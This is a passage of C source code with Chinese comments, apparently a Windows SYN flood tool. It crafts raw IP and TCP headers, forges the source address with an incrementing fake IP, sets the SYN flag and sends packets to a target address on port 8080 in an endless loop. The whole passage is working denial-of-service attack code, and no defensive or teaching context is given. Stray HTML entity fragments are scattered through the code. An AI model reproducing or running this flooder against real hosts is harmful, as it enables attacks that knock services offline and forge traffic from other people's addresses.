ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本號(hào),低四位首部長度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節(jié))
ip_header.ident=1; //16位標(biāo)識(shí)
ip_header.frag_and_flags=0; //3位標(biāo)志位
ip_header.ttl=128; //8位生存時(shí)間TTL
ip_header.proto=IPPROTO_TCP;& nbsp; //8 位協(xié)議(TCP,UDP…)
ip_header.checksum=0;& nbsp; //16 位IP首部校驗(yàn)和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp; //32 位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);& nbsp; // 源端口號(hào)
tcp_header.th_dport=htons(8080);& nbsp; // 目的端口號(hào)
tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp; //SYN 序列號(hào)
tcp_header.th_ack=0; //ACK序列號(hào)置為0
tcp_header.th_lenres= (sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位
tcp_header.th_flag=2; //SYN 標(biāo)志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校驗(yàn)和
//填充TCP偽首部(用于計(jì)算校驗(yàn)和,并不真正發(fā)送)
psd_header.saddr=ip_header.sourceIP;& nbsp; // 源地址
psd_header.daddr=ip_header.destIP;& nbsp; // 目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;& nbsp; // 協(xié)議類型
psd_header.tcpl=htons(sizeof(tcp_header));& nbsp; //TCP 首部長度
while(1) {
//每發(fā)送10,240個(gè)報(bào)文輸出一個(gè)標(biāo)示符
printf(".");
for(counter=0;counter<10240;counter++){
if(SendSEQ++==65536) SendSEQ=1; & nbsp; // 序列號(hào)循環(huán)
//更改IP首部
ip_header.checksum=0;& nbsp; //16 位IP首部校驗(yàn)和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp; //32 位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp; //SYN 序列號(hào)
tcp_header.th_sum=0; //校驗(yàn)和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
// 計(jì)算TCP校驗(yàn)和,計(jì)算校驗(yàn)和時(shí)需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//計(jì)算IP校驗(yàn)和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充發(fā)送緩沖區(qū)
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//發(fā)送TCP報(bào)文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
MK-TIANYI